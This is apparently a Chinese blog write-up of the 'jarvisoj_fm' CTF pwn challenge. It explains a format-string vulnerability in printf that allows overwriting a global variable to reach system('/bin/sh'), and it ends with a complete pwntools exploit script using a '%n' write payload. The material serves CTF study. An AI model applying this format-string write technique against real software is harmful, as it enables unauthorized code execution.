0
点赞
收藏
分享

微信扫一扫

jarvisoj_fm

非凡兔 2022-04-05 阅读 42

jarvisoj_fm

使用checksec查看:
在这里插入图片描述
开启了栈不可执行和Canary。

先放进IDA中分析:
在这里插入图片描述

  • printf(&buf);:存在格式化字符串的漏洞。
  • if ( x == 4 ) { puts("running sh..."); system("/bin/sh"); }:只需x处的值为4即可拿到shell。

题目思路

  • 存在格式化字符串漏洞。
  • 利用格式化字符串漏洞将x处数据写成0x4即可getshell。

步骤解析

在这里插入图片描述

完整exp

from pwn import *

#start
r = process("../buu/jarvisoj_fm")

#params
x_addr = 0x804A02C

#attack
payload = b'%4c%13$n' + p32(x_addr)
print(payload)
r.sendline(payload)

r.interactive()
举报

相关推荐

0 条评论